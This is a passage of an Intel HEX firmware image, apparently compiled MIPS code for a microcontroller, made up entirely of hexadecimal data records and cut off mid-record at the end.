a378\n:108ed00002e4400b00000000100002241200c2a3b4\n:108ee000fbe3400b00000000080002241000c2a3b6\n:108ef000f4e3400b000000002b15410f00000000c0\n:108f000004004010000000001400c28f0de4400b6c\n:108f1000000000001000c39300a0023cdc56422475\n:108f2000e00043ac1100c39300a0023cdc56422495\n:108f3000e80043ac1200c39300a0023cdc5642247c\n:108f4000e40043ac1800c22721204000c62c410f8a\n:108f5000000000001b004010000000001000c29341\n:108f6000059d033cfcf96424212840006913410f4e\n:108f7000000000001100c293059d033c08fa642420\n:108f8000212840006913410f000000001200c29325\n:108f9000059d033c14fa6424212840006913410f05\n:108fa000000000001800c227059d033c20fa64243d\n:108fb000212840000413410f00000000010002249a\n:108fc0001400c2af1000c293010042241000c2a3db\n:108fd0001000c2931f00422cc7ff40140000000085\n:108fe0001200c293010042241200c2a31200c293d5\n:108ff0002000422cbcff4014000000001100c2936e\n:10900000010042241100c2a31100c2934000422c6f\n:10901000b1ff401400000000059d023c2cfa4424de\n:10902000059d023c30fa45240413410f0000000066\n:109030001400c28f21e8c0036400bf8f6000be8fa0\n:109040006800bd270800e00300000000e0ffbd2726\n:109050001c00bfaf1800beaf21f0a0032000c4afba\n:109060002400c5af2000c48f8db7400f0000000062\n:109070001000c2af059d023c34fa44242000c58f85\n:109080000413410f000000001000c28f02170200fd\n:10909000059d033c54fa6424212840006913410fc4\n:1090a000000000001000c28f021f02000600022410\n:1090b0000900621400000000059d023c70fa44247f\n:1090c000059d023c78fa45240413410f000000007e\n:1090d00049e4400b000000001000c28f021f020094\n:1090e000090002240900621400000000059d023cf2\n:1090f00070fa4424059d023c8cfa45240413410f68\n:109100000000000049e4400b00000000059d023c07\n:1091100070fa4424059d023c9cfa45240413410f37\n:10912000000000001000c38f0200023c2410620007\n:10913000421402001400c2af1400c28f0500401098\n:1091400000000000059d023cacfa422457e4400bad\n:1091500000000000059d023cb4fa4224059d033c3a\n:10916000bcfa6424212840000413410f00000000d1\n:109170001400c28f70004010000000001000c38f68\n:10918000fc00023c2410620082140200059d033c96\n:10919000d8fa6424212840006913410f0000000020\n:1091a0001000c38ffc00023c2410620082140200f5\n:1091b0000100422440100200059d033cf4fa64249f\n:1091c000212840006913410f000000001000c38fe8\n:1091d0000100023c00f0423424106200021302003d\n:1091e000059d033c00fb6424212840006913410fc6\n:1091f000000000001000c38f0100023c00f0423468\n:1092000024106200021302000900422c29004014bd\n:10921000000000001000c38f0100023c00f0423447\n:1092200024106200021b02001000022409006214d4\n:1092300000000000059d023c70fa4424059d023c9c\n:109240001cfb45240413410f00000000bce4400b4c\n:10925000000000001000c38f0100023c00f0423407\n:1092600024106200021b020018000224090062148c\n:1092700000000000059d023c70fa4424059d023c5c\n:109280002cfb45240413410f00000000bce4400bfc\n:1092900000000000059d023c70fa4424059d023c3c\n:1092a0003cfb45240413410f00000000bce4400bcc\n:1092b000000000001000c38f0100023c00f04234a7\n:1092c00024106200021b020000a0023c8018030070\n:1092d00034724224211062000000428c059d033c40\n:1092e00070fa6424212840000413410f000000009c\n:1092f0001000c28f08004230c2100200050040106a\n:1093000000000000059d023cacfa4224c7e4400b7b\n:1093100000000000059d023cb4fa4224059d033c78\n:1093200044fb6424212840000413410f0000000086\n:109330002de5400b000000001000c38f1c00023c14\n:109340002410620082140200059d033cd8fa6424b4\n:10935000212840006913410f000000001000c38f56\n:109360001c00023c24106200821c0200059d023c8d\n:10937000ecf942242110620000004290059d033c5c\n:10938000f4fa6424212840006913410f0000000012\n:109390001000c38f0100023c00f042342410620030\n:1093a00002130200059d033c00fb642421284000b9\n:1093b0006913410f000000001000c38f0100023c40\n:1093c00000f0423424106200021302000900422c13\n:1093d00019004014000000001000c38f0100023c7f\n:1093e00000f0423424106200021b0200100002242c\n:1093f0000900621400000000059d023c70fa44243c\n:10940000059d023c1cfb45240413410f0000000095\n:109410001de5400b00000000059d023c70fa44244d\n:10942000059d023c5cfb45240413410f0000000035\n:109430001de5400b000000001000c38f0100023c3e\n:1094400000f0423424106200021b020000a0023c23\n:109450008018030034724224211062000000428c04\n:10946000059d033c70fa6424212840000413410f39\n:10947000000000001000c28f08004230c21002003d\n:109480000500401000000000059d023cacfa42249b\n:1094900028e5400b00000000059d023cb4fa422480\n:1094a000059d033c70fb6424212840000413410ff8\n:1094b000000000001000c28f000c42308212020037\n:1094c000059d033c8cfb6424212840006913410f57\n:1094d000000000001000c28f000c42308212020017\n:1094e0000300422c0900401400000000059d023cce\n:1094f00070fa4424059d023ca8fb45240413410f47\n:10950000000000004de5400b000000001000c28f7d\n:10951000000c42308212020001004224401002007e\n:10952000059d033cf4fa6424212840006913410f8f\n:10953000000000001000c28fe00042304211020023\n:10954000059d033cb4fb6424212840006913410fae\n:10955000000000001000c28f0002423042120200e0\n:109560000500401000000000059d023cacfa4224ba\n:1095700060e5400b00000000059d023cb4fa422467\n:10958000059d033cd0fb6424212840000413410fb7\n:10959000000000001000c28f0001423002120200e1\n:1095a0000500401000000000059d023cacfa42247a\n:1095b00070e5400b00000000059d023cb4fa422417\n:1095c000059d033cecfb6424212840000413410f5b\n:1095d000000000001000c28f100042300211020093\n:1095e0000500401000000000059d023cacfa42243a\n:1095f00080e5400b00000000059d023cb4fa4224c7\n:10960000059d033c08fc6424212840000413410ffd\n:10961000000000001000c28f0400423082100200df\n:109620000500401000000000059d023cacfa4224f9\n:1096300090e5400b00000000059d023cb4fa422476\n:10964000059d033c24fc6424212840000413410fa1\n:10965000000000001000c28f0200423042100200e1\n:109660000500401000000000059d023cacfa4224b9\n:10967000a0e5400b00000000059d023cb4fa422426\n:10968000059d033c40fc6424212840000413410f45\n:10969000000000001000c28f0100423005004010a1\n:1096a00000000000059d023cacfa4224afe5400bef\n:1096b00000000000059d023cb4fa4224059d033cd5\n:1096c0005cfc6424212840000413410f00000000ca\n:1096d000059d023c78fc44242400c58f0413410fef\n:1096e000000000002400c48f040005245cb7400f74\n:1096f00000000000059d023c2cfa4424059d023c1c\n:1097000030fa45240413410f000000000100022438\n:1097100021e8c0031c00bf8f1800be8f2000bd27aa\n:109720000800e00300000000e0ffbd271c00bfaf01\n:109730001800beaf21f0a0032000c4af2000c48fea\n:109740008db7400f000000001000c2af1600c0a38c\n:1097500000a0023cdc564224c800428c03004010aa\n:1097600000000000010002241600c2a31400c0a3e0\n:109770001500c0a3f0e5400b0000000000a0023c73\n:10978000dc564224a400438c1400c493059d023c83\n:10979000ecf942242110820000004290050062147e\n:1097a00000000000010002241500c2a3f4e5400bf4\n:1097b000000000001400c293010042241400c2a360\n:1097c0001400c2930800422cecff4014000000007b\n:1097d0001500c293030040140000000001000224a1\n:1097e0001600c2a31600c2931a0040100000000029\n:1097f0001000c28f00d8437c0090023c251062000c\n:109800001000c2af1000c38f0200023c251062009e\n:109810001000c2af1000c38f03ff023cffff4234b1\n:109820002418620000a0023cdc564224a400428cb2\n:10983000feff42244210020080240200fc00023c91\n:1098400024108200251062001000c2af20e6400bf9\n:10985000000000001000c38fe3ff023cffff423412\n:10986000241862001400c2938014020021204000da\n:109870001c00023c24108200251062001000c2afc0\n:1098800000a0023cdc564224a800428c0c00401090\n:10989000000000001000c38ffff3022424186200b0\n:1098a00000a0023cdc564224a800428c8210020038\n:1098b00080120200000c4230251062001000c2af7e\n:1098c00000a0023cdc564224cc00428c0b0040102d\n:1098d0000000000000a0023cdc564224a00043909f\n:1098e00001000224050062140000000008000224a8\n:1098f0001500c2a37ce6400b0000000000a0023c63\n:10990000dc564224c400428c0b00401000000000d2\n:1099100000a0023cdc564224a00043900100022437\n:109920000500621400000000100002241500c2a30c\n:109930007ce6400b0000000000a0023cdc56422404\n:10994000a00042900700432c260060100000000099\n:1099500080180200049d023c6c9942242110620090\n:109960000000428c0800400000000000e499039dc4\n:109970008899039d9499039da499039db499039d8f\n:10998000c499039dd499039d1500c0a37ce6400ba8\n:1099900000000000040002241500c2a37ce6400b76\n:1099a00000000000050002241500c2a37ce6400b65\n:1099b00000000000010002241500c2a37ce6400b59\n:1099c00000000000020002241500c2a37ce6400b48\n:1099d00000000000030002241500c2a37ce6400b37\n:1099e000000000002110000098e6400b000000007d\n:1099f0001000c38ffeff023cff0f423424186200a8\n:109a00001500c29300130200212040000100023c17\n:109a100000f0423424108200251062001000c2af12\n:109a20001000c38f1fff02242418620000a0023c14\n:109a3000dc564224b000428c421102004011020068\n:109a4000ff004230251062001000c2af2000c48f1a\n:109a50001000c58f90b6400f0000000001000224e6\n:109a600021e8c0031c00bf8f1800be8f2000bd2757\n:109a70000800e00300000000e8ffbd271400bfafae\n:109a80001000beaf21f0a0031800c4af2110a00049\n:109a90001c00c2a31c00c2931600432c600060107f\n:109aa0000000000080180200049d023cc09a42247d\n:109ab000211062000000428c0800400000000000fd\n:109ac000209c039d189b039d189b039d189b039d41\n:109ad000189b039d189b039d189b039d209c039d31\n:109ae000209c039dd89b039d209c039d489b039d28\n:109af000909b039db49b039dd89b039d6c9b039df2\n:109b0000fc9b039d489b039d209c039d209c039de3\n:109b1000209c039dd89b039d1800c48f059d023c8b\n:109b200098fc452408000624214b410f000000004a\n:109b30001800c48fcae5400f000000000100022495\n:109b400009e7400b000000001800c48f059d023c8f\n:109b5000a4fc452408000624214b410f000000000e\n:109b60000100022409e7400b000000001800c48f28\n:109b7000059d023cb0fc452408000624214b410f02\n:109b8000000000000100022409e7400b0000000073\n:109b90001800c48f059d023cbcfc45240800062427\n:109ba000214b410f000000000100022409e7400b97\n:109bb000000000001800c48f059d023cc8fc45242d\n:109bc00008000624214b410f000000000100022480\n:109bd00009e7400b000000001800c48f059d023cff\n:109be000d4fc452408000624214b410f000000004e\n:109bf0000100022409e7400b000000001800c48f98\n:109c0000059d023ce0fc452408000624214b410f41\n:109c1000000000000100022409e7400b00000000e2\n:109c20002110000021e8c0031400bf8f1000be8f78\n:109c30001800bd270800e00300000000e8ffbd2772\n:109c40001400bfaf1000beaf21f0a00300a0023c83\n:109c5000d857442421280000081206247152410fcd\n:109c60000000000021e8c0031400bf8f1000be8f69\n:109c70001800bd270800e00300000000d0fdbd274c\n:109c80002c02bfaf2802beaf21f0a00300a0023c0f\n:109c9000d85742902118400000a0023c80180300d1\n:109ca0004c714224211062000000428c059d033c4f\n:109cb000ac416424212840000413410f000000003f\n:109cc00000a0023cd85742240100429021184000d5\n:109cd00000a0023c801803004c7142242110620055\n:109ce0000000428c059d033cc441642421284000af\n:109cf0000413410f00000000059d023ce041442494\n:109d000000a0023cda5745240413410f0000000074\n:109d100000a0023cd85742240100429006004014a3\n:109d20000000000000a0023cd85742901000c2a3df\n:109d300052e7400b0000000000a0023cd85742242c\n:109d4000010042901000c2a31000c2931400c32768\n:109d50002120600000a0033cda5765242130400038\n:109d60004c2d410f000000000400401000000000d6\n:109d70001400c22761e7400b00000000059d023c73\n:109d8000fc414224059d033c0842642421284000f4\n:109d90000413410f0000000000a0023cd85742907d\n:109da0001802c32721206000212840004125410fcf\n:109db000000000004100401000000000059d023c32\n:109dc00024424424059d023c284245240413410fab\n:109dd000000000001c02c0af00a0023cd857429017\n:109de0001c02c3272120600021284000c025410f0c\n:109df000000000002002c0af00a0023cd8574290f3\n:109e00002002c3272120600021284000f325410fb4\n:109e10000000000000a0023cd85742240412438cea\n:109e20001802c28f1800620012180000821003008e\n:109e30000002432400a0023cd857422421106200b3\n:109e40000300442400a0023cd85742240412438c4f\n:109e50001c02c28f1800620012180000821003005a\n:109e60000002432400a0023cd85742242110620083\n:109e70000300452400a0023cd85742240412438c1e\n:109e80002002c28f18006200121800008210030026\n:109e90000002432400a0023cd85742242110620053\n:109ea0000300432400a0023cd857429021306000b8\n:109eb00021384000af26410f0000000000a0023c06\n:109ec000d8574224031242900900401400000000b9\n:109ed000059d023c24424424059d023c2842452421\n:109ee0000413410f0000000001e8400b00000000d7\n:109ef000059d023c24424424059d023c30424524f9\n:109f00000413410f0000000000a0023cd857422477\n:109f10000412428c821002001000c327211062003c\n:109f2000040040a01802c0aff3e7400b000000009f\n:109f300000a0023cd85742240412438c1802c28f5e\n:109f4000180062001218000082100300000243246f\n:109f500000a0023cd8574224211062000300432491\n:109f600000a0023cd85742240412428c8210020006\n:109f70001400c4272128600021304000214b410fec\n:109f8000000000001400c2930d004010000000000b\n:109f90001802c28f059d033c4842642421284000da\n:109fa0006913410f000000001400c227059d033c07\n:109fb00024426424212840000413410f00000000c3\n:109fc0001802c28f010042241802c2af00a0023c56\n:109fd000d857422403124290211840001802c28f21\n:109fe0002b104300d2ff401400000000059d023cee\n:109ff00024424424059d023c284245240413410f79\n:10a000000000000021e8c0032c02bf8f2802be8f91\n:10a010003002bd270800e00300000000e0ffbd277c\n:10a020001c00bfaf1800beaf21f0a0032000c4afda\n:10a030002000c48f36bf400f000000001000c2a3f4\n:10a040001000c29304004014000000002110000022\n:10a050001be8400b000000001000c29321204000cc\n:10a0600021e8400f000000000100022421e8c003a5\n:10a070001c00bf8f1800be8f2000bd270800e00322\n:10a0800000000000e8ffbd271400bfaf1000beaf06\n:10a0900021f0a003211080001800c2a30fe7400f99\n:10a0a0000000000000a0023c1800c393d85743a052\n:10a0b0001800c293212040005fbf400f0000000045\n:10a0c0002118400000a0023cd8574224041243ac9f\n:10a0d0001800c29321204000a0bf400f00000000e4\n:10a0e000ff00433000a0023cd8574224031243a093\n:10a0f00021e8c0031400bf8f1000be8f1800bd27d9\n:10a100000800e00300000000d8ffbd272400bfaf17\n:10a110002000beaf21f0a0032800c4af2110a00092\n:10a120003000c6af2c00c2a32800c28f00004280be\n:10a130000e0040140000000000a0023cd8574290de\n:10a1400005004014000000002c00c2931000c2a3c0\n:10a1500065e8400b0000000000a0023cd857429088\n:10a160001000c2a365e8400b000000002800c48f67\n:10a1700036bf400f000000001000c2a31000c293c1\n:10a18000040040140000000021100000d3e8400b40\n:10a190000000000000a0023cdc56422487004290f0\n:10a1a0001000c3930a006214000000001000c29364\n:10a1b0002120400021e8400f0000000000a0023ce8\n:10a1c000d8574224010040a08be8400b000000005b\n:10a1d0002c00c3931000c29300a0043cdc1c842418\n:10a1e00021286000213040007126410f000000004e\n:10a1f0000b004010000000001000c293212040001e\n:10a2000021e8400f0000000000a0023cd857422483\n:10a210002c00c393010043a08be8400b000000001a\n:10a2200021100000d3e8400b000000002c00c29376\n:10a2300000a0033cda5764243000c58f2130400071\n:10a240004dc5400f00000000040040140000000055\n:10a2500021100000d3e8400b000000001000c29362\n:10a260001400c32721206000212840004125410f10\n:10a2700000000000340040100000000000a0023c7c\n:10a28000d85742240412438c1400c28f1800620075\n:10a2900012180000821003000002432400a0023cb8\n:10a2a000d857422421106200030044242c00c39399\n:10a2b0001000c29321286000213040007126410f18\n:10a2c0000000000004004014000000002110000005\n:10a2d000d3e8400b000000001000c2931800c32711\n:10a2e00021206000212840007e25410f0000000051\n:10a2f000150040100000000000a0023cd857422486\n:10a300000412438c1800c28f18006200121800005b\n:10a31000821003000002432400a0023cd8574224cc\n:10a32000211062000300432400a0023cd857429051\n:10a330002120600000a0033cda5765242130400052\n:10a34000e8c5400f000000000100022421e8c0031e\n:10a350002400bf8f2000be8f2800bd270800e00327\n:10a3600000000000d8fdbd272402bfaf2002beaf11\n:10a3700021f0a0032802c4af2c02c5af1100c0a376\n:10a380002802c28f0000428010004014000000002c\n:10a3900000a0023cd8574290070040140000000083\n:10a3a00000a0023cdc564224870042901000c2a369\n:10a3b000fde8400b0000000000a0023cd85742908e\n:10a3c0001000c2a3fde8400b000000002802c48f6b\n:10a3d00036bf400f000000001000c2a31000c2935f\n:10a3e000040040140000000021100000abe9400b05\n:10a3f000000000001400c22721204000c62c410f9d\n:10a4000000000000040040140000000021100000c3\n:10a41000abe9400b000000001000c2932120400077\n:10a4200021e8400f0000000000a0023cdc5642245e\n:10a43000870042901000c3934e0062140000000099\n:10a4400000a0023cd8574224010040a02120000077\n:10a4500000a0023cdc1c45242c02c68fbe51410fdb\n:10a460000000000007004014000000002120000050\n:10a4700000a0023cdc1c45242c02c68f9255410fe3\n:10a48000000000001400c22700a0033cda57642437\n:10a4900021284000574a410f0000000000a0023c64\n:10a4a000d8574224031242900400401400000000d8\n:10a4b00001000224abe9400b000000001200c0a321\n:10a4c00053e9400b000000001200c39300a0023cbf\n:10a4d000d85742240412428c18006200121800005f\n:10a4e000821003000002432400a0023cd8574224fb\n:10a4f00021106200030044241200c3931200c2938f\n:10a500002128600021304000a444410f00000000d9\n:10a5100009004014000000001200c293059d033c96\n:10a5200060426424212840006913410f00000000ac\n:10a5300050e9400b00000000010002241100c2a3fa\n:10a540001200c293010042241200c2a300a0023ce8\n:10a55000d8574224031242901200c3932b1062007a\n:10a56000d9ff4014000000001100c293abe9400b7a\n:10a570000000000000a0023cdc564224870043900b\n:10a5800000a0023cd8574224010043a01400c22777\n:10a5900000a0033cda57642421284000574a410fa9\n:10a5a000000000001000c2931802c32721206000a1\n:10a5b000212840004125410f000000000900401003\n:10a5c000000000001000c2931c02c327212060007d\n:10a5d000212840007e25410f0000000004004014a7\n:10a5e0000000000021100000abe9400b000000005b\n:10a5f00000a0023cd85742240412438c1802c28f98\n:10a6000018006200121800008210030000024324a8\n:10a6100000a0023cd85742242110620003004424c9\n:10a6200000a0023cdc5642248700429021184000e2\n:10a630001000c29321286000213040007126410f94\n:10a640000000000004004014000000002110000081\n:10a65000abe9400b0000000000a0023cd8574224a8\n:10a660000412438c1c02c28f1800620012180000f2\n:10a67000821003000002432400a0023cd857422469\n:10a68000211062000300432400a0023cd8574290ee\n:10a690002120600000a0033cda57652421304000ef\n:10a6a000e8c5400f000000000100022421e8c003bb\n:10a6b0002402bf8f2002be8f2802bd270800e003be\n:10a6c00000000000e0fdbd271c02bfaf1802beafb6\n:10a6d00021f0a0032002c4af00a0023cd857429052\n:10a6e000040040140000000021100000dfe9400bce\n:10a6f0000000000000a0023cd85742240100429014\n:10a70000060040140000000000a0023cd857429010\n:10a710001000c2a3cbe9400b0000000000a0023ce7\n:10a72000d8574224010042901000c2a31000c293e7\n:10a730001400c3272120600000a0033cda576524e1\n:10a74000213040004c2d410f000000000400401457\n:10a750000000000021100000dfe9400b00000000b5\n:10a760001000c3931400c2272002c48f2128600068\n:10a770002130400042e8400f0000000021e8c00303\n:10a780001c02bf8f1802be8f2002bd270800e00305\n:10a7900000000000d8fcbd272403bfaf2003beafdc\n:10a7a00021f0a0032803c4af1400c0af00a0023cf6\n:10a7b0002002c427dc564324fc0002242128600028\n:10a7c00021304000214b410f0000000000a0023c5e\n:10a7d000dc5642248700439000a0023cd8574290a8\n:10a7e000130062100000000000a0023cd857429005\n:10a7f000212040008fc0400f000000000c004014da\n:10a800000000000000a0023cdc5644242002c327c4\n:10a81000fc0002242128600021304000214b410f20\n:10a82000000000002110000046eb400b000000007b\n:10a830001c00c22721204000c62c410f0000000050\n:10a840001c00c2271000c48f212840002803c68f97\n:10a85000be51410f000000001400c2af1400c28faf\n:10a8600008004014000000001c00c2271000c48f24\n:10a87000212840002803c68f9255410f0000000098\n:10a880001400c2af00a0023cdc5642248700429074\n:10a890001800c32721206000212840004125410fd6\n:10a8a000000000000400401400000000211000001f\n:10a8b00046eb400b0000000000a0023cdc564224a6\n:10a8c0008700439008000224390062100000000055\n:10a8d00000a0023cd85742240412428c821002008d\n:10a8e0001000c327211062000c0040a000a0023c11\n:10a8f000dc564224870042902118400000a0023c10\n:10a90000dc564224870042901c00c42721286000a6\n:10a91000213040007126410f000000000c0040145f\n:10a920000000000000a0023cdc5644242002c327a3\n:10a93000fc0002242128600021304000214b410fff\n:10a94000000000002110000046eb400b000000005a\n:10a950001800c38f1c00c22721206000212840005e\n:10a96000010006241849410f000000000c004014ab\n:10a970000000000000a0023cdc5644242002c32753\n:10a98000fc0002242128600021304000214b410faf\n:10a99000000000002110000046eb400b000000000a\n:10a9a0001c00c22721204000c62c410f00000000df\n:10a9b00000a0023cd85742240412428c82100200ac\n:10a9c0001000c327211062000c0040a01000c0af8f\n:10a9d000e1ea400b000000001800c28f1000c38f96\n:10a9e000650062100000000000a0023cd85742241d\n:10a9f0000412438c1000c28f180062001210000075\n:10aa00008218020000a0023cd857422421106200a4\n:10aa10000302429058004010000000001000c28f56\n:10aa2000070040140000000000a0023cdc56422455\n:10aa300087004390080002244f00621000000000cd\n:10aa400000a0023cdc564224870043900800022408\n:10aa500012006210000000001c00c2271000c48f0a\n:10aa6000212840002803c68fbe51410f000000007e\n:10aa70001400c2af1400c28f080040140000000090\n:10aa80001c00c2271000c48f212840002803c68f55\n:10aa90009255410f000000001400c2af00a0023c1c\n:10aaa000d85742240412438c1000c28f1800620051\n:10aab00012180000821003000002432400a0023c90\n:10aac000d8574224211062000300432400a0023c16\n:10aad000d85742240412428c821002001c00c42762\n:10aae0002128600021304000214b410f0000000070\n:10aaf000059d023c704244241000c58f6913410f2c\n:10ab0000000000001c00c227059d033c2442642471\n:10ab1000212840000413410f000000001c00c22740\n:10ab20001000c48f21284000010006241849410f5d\n:10ab3000000000001000401400000000059d023cd1\n:10ab400024424424059d023c784245240413410fcd\n:10ab5000000000001400c28f070040140000000035\n:10ab6000059d023c24424424059d023c8442452428\n:10ab70000413410f000000001000c28f01004224a6\n:10ab80001000c2af00a0023cd857422403124290ea\n:10ab9000211840001000c28f2b1043008eff40147c\n:10aba0000000000000a0023cdc56422487004390d5\n:10abb000080002240f006210000000001c00c227e1\n:10abc0001000c48f212840002803c68fbe51410fba\n:10abd0000000000007004014000000001c00c22715\n:10abe0001000c48f212840002803c68f9255410fc2\n:10abf0000000000000a0023cd85742240412428cfe\n:10ac0000821002001000c327211062000c0040a037\n:10ac100000a0023cd85742240412438c1800c28f73\n:10ac20001800620012180000821003000002432482\n:10ac300000a0023cd85742242110620003004324a4\n:10ac400000a0023cd85742240412428c8210020019\n:10ac50001c00c4272128600021304000214b410ff7\n:10ac6000000000001800c28f059d033c944264243c\n:10ac7000212840006913410f000000001c00c2277a\n:10ac8000059d033c24426424212840000413410f05\n:10ac9000000000001800c38f1c00c22721206000a4\n:10aca00021284000213000001849410f0000000019\n:10acb0000e0040140000000000a0023cdc564424ba\n:10acc0002002c327fc00022421286000213040001c\n:10acd000214b410f00000000c40c410f0000000098\n:10ace0002110000046eb400b0000000000a0023cd9\n:10acf000dc5644242002c327fc00022421286000e3\n:10ad000021304000214b410f00000000c40c410fd6\n:10ad1000000000000100022421e8c0032403bf8fcb\n:10ad20002003be8f2803bd270800e00300000000b9\n:10ad3000d8ffbd272400bfaf2000beaf1c00b0afbe\n:10ad400021f0a0032800c4af2c00c5af2c00c48f95\n:10ad50007b4b410f000000008010020000a0033c6c\n:10ad6000d857632403126390212060002800c38f0a\n:10ad70002320830000a0033cd85763240412638c73\n:10ad800018008300121800002b1062000900401404\n:10ad90000000000000a0023cd85742240312429059\n:10ada000211840002800c28f2b10430004004014db\n:10adb0000000000021100000e1eb400b000000004b\n:10adc00000a0023cd8574224010042902c004010c1\n:10add0000000000000a0023cd85742901000c3279a\n:10ade00021206000212840007e25410f0000000046\n:10adf00023004010000000002c00c48f7b4b410f4b\n:10ae0000000000008018020000a0023cd857422435\n:10ae10000412428c1b006200f4014000101000007c\n:10ae2000121800002800c28f21106200ffff50247a\n:10ae300000a0023cd857422401004290212040004b\n:10ae4000eabf400f000000002118400000a0023cb3\n:10ae5000d85742240412428c1b006200f4014000c7\n:10ae600010100000121000002b10500004004010c1\n:10ae70000000000021100000e1eb400b000000008a\n:10ae800000a0023cd85742240412438c2800c28ff1\n:10ae90001800620012200000821004000002432407\n:10aea00000a0023cd8574224211062000300502425\n:10aeb0002c00c48f7b4b410f0000000021200002ba\n:10aec0002c00c58f21304000214b410f00000000b5\n:10aed00000a0023cd85742240100429028004010b4\n:10aee0000000000000a0023cd85742901000c32789\n:10aef00021206000212840007e25410f0000000035\n:10af00001f0040100000000000a0023cd85742245f\n:10af10000412438c1000c28f180062001218000047\n:10af2000821003000002432400a0023cd8574224b0\n:10af3000211062000300432400a0023cd8574224a1\n:10af40000412448c00a0023cd857422403124290c1\n:10af5000212840001000c28f2310a2001800820098\n:10af6000122000008210040000a0043cda57842460\n:10af70002128600021304000214b410f00000000db\n:10af80000100022421e8c0032400bf8f2000be8fef\n:10af90001c00b08f2800bd270800e003000000005f\n:10afa000e8ffbd271400bfaf1000beaf21f0a00323\n:10afb000df1a410f0000000021e8c0031400bf8f1a\n:10afc0001000be8f1800bd270800e003000000003d\n:10afd000f8ffbd270400beaf21f0a003010002244a\n:10afe00021e8c0030400be8f0800bd270800e0036d\n:10aff00000000000e0ffbd271c00bfaf1800beaf7f\n:10b0000021f0a00388bf033c206162940442027ccb\n:10b01000206162a400a0023cf4174424ff00052430\n:10b02000210006247152410f000000000200042498\n:10b03000c219410f0000000088bf033c60606294a9\n:10b0400001000424444a827c606062a4708080a372\n:10b050006c8080af748080af788080af688080a380\n:10b060006481828fc010020080180200211043000a\n:10b07000801802002110430000190200231862000a\n:10b0800000110300231843006c81828f1b006200b3\n:10b09000f40140001010000012100000ffff4230c9\n:10b0a0001000c2af02000424c219410f00000000ca\n:10b0b00080bf033c0060629401000424c47b827c56\n:10b0c000006062a402000424c219410f00000000c5\n:10b0d00080bf033c0032629401000424c47b827c64\n:10b0e000003262a480bf033c000862940100042483\n:10b0f000c47b827c000862a402000424c219410fb0\n:10b100000000000088bf033c206162940100042419\n:10b110000442827c206162a46880829321184000ee\n:10b1200000a0023cf4174224211862001000c28fd4\n:10b13000ffff423021206000212840002e1a410fdd\n:10b14000000000000f0040100000000068808293a3\n:10b1500001004224ff004230688082a3688083930c\n:10b1600021000224030062140000000062ec400b86\n:10b1700000000000802502241000c2af46ec400b06\n:10b180000000000000000000688082930300422c51\n:10b19000e40040140000000000a0023cf417422428\n:10b1a000010042901500c2a3020002241400c2a3b1\n:10b1b000478180a347818293588182a358818293db\n:10b1c0005b8182a35b818293468182a3488180a3b5\n:10b1d00048818293598182a3598182935d8182a3a0\n:10b1e0005d818293458182a3498180a349818293b5\n:10b1f0005a8182a35a8182935c8182a35c8182936b\n:10b20000448182a31500c293100042300a0040100e\n:10b21000000000001400c293010043241400c3a3e3\n:10b220002118400000a0023cf417422421106200c3\n:10b2300000004290468182a31500c2932000423054\n:10b240000a004010000000001400c29301004324d3\n:10b250001400c3a32118400000a0023cf4174224ac\n:10b2600021106200000042905b8182a31500c2930e\n:10b27000400042300a004010000000001400c29359\n:10b28000010043241400c3a32118400000a0023c85\n:10b29000f41742242110620000004290588182a3da\n:10b2a0001500c2830a004104000000001400c2938c\n:10b2b000010043241400c3a32118400000a0023c55\n:10b2c000f41742242110620000004290478182a3bb\n:10b2d00047818293f00042307c0040100000000063\n:10b2e00047818293100042300a00401000000000a5\n:10b2f0001400c293010043241400c3a3211840008a\n:10b3000000a0023cf4174224211062000000429089\n:10b31000458182a347818293200042300a00401079\n:10b32000000000001400c293010043241400c3a3d2\n:10b330002118400000a0023cf417422421106200b2\n:10b34000000042905d8182a3478182934000423099\n:10b350000a004010000000001400c29301004324c2\n:10b360001400c3a32118400000a0023cf41742249b\n:10b370002110620000004290598182a3478182938c\n:10b380002014027c0a004104000000001400c29353\n:10b39000010043241400c3a32118400000a0023c74\n:10b3a000f41742242110620000004290488182a3d9\n:10b3b00048818293f00042304400401000000000b9\n:10b3c00048818293100042301900401000000000b4\n:10b3d0001400c293010043241400c3a321184000a9\n:10b3e00000a0023cf41742242110620000004290a9\n:10b3f000448182a3448182931000422c05004014b2\n:10b400000000000044818393ff00022408006214be\n:10b410000000000078ee400f000000000800022449\n:10b42000788082af211000004fed400b000000003b\n:10b4300048818293200042300a0040100000000042\n:10b440001400c293010043241400c3a32118400038\n:10b4500000a0023cf4174224211062000000429038\n:10b460005c8182a348818293400042300a004010f0\n:10b47000000000001400c293010043241400c3a381\n:10b480002118400000a0023cf41742242110620061\n:10b49000000042905a8182a3488182932014027c4a\n:10b4a0000a004104000000001400c293010043247c\n:10b4b0001400c3a32118400000a0023cf41742244a\n:10b4c0002110620000004290498182a31500c293be\n:10b4d0000f004230ff004230708082a37080829360\n:10b4e00007004010000000001400c39300a0023cbd\n:10b4f000f41742242110620041ed400b00000000cf\n:10b50000211000006c8082af45ef400f000000006a\n:10b5100001000224748082af010002244fed400b31\n:10b520000000000002000224788082af748080afa7\n:10b5300078ee400f000000002110000021e8c00359\n:10b540001c00bf8f1800be8f2000bd270800e0033d\n:10b5500000000000c0ffbd273c00bfaf3800beaff9\n:10b560003400b5af3000b4af2c00b3af2800b2af99\n:10b570002400b1af2000b0af21f0a0034000c4af61\n:10b580001c00c0a31d00c0a31e00c0a31000022405\n:10b590001100c2a3020002241200c2a3030002246d\n:10b5a0001300c2a31400c0a36481828fb700033cc0\n:10b5b000001b63341b006200f40140001010000007\n:10b5c000121000001800c2af1000c0a391ed400b94\n:10b5d000000000004000c28f0100422400004390a0\n:10b5e0001100c29324106200ff0042300f0040108f\n:10b5f000000000001300c293010042241300c2a304\n:10b600001000c2931200c3934000c48f211883001e\n:10b61000000063901000c427211082000c0043a09a\n:10b620001200c293010042241200c2a31100c2936f\n:10b63000401002001100c2a31000c2930100422476\n:10b640001000c2a31000c2930300422ce1ff40147b\n:10b6500000000000408180a37480838f01000224d9\n:10b660000500621400000000478182931000423000\n:10b670000400401000000000211000005cee400bb0\n:10b68000000000001000c0a3b0ed400b000000005f\n:10b690001800c48fa519410f000000001000c293cc\n:10b6a000010043241000c3a34000c38f2110620097\n:10b6b0000000429021204000d719410f00000000f7\n:10b6c0001300c293ffff43241300c3a3f0ff4014f1\n:10b6d000000000001000c0a31000c3934c8182271b\n:10b6e0002110620021204000802505242e1a410fe0\n:10b6f000000000000b004010000000001000c2938a\n:10b70000010042241000c2a31000c39307000224ca\n:10b710000b00621400000000211000005cee400be2\n:1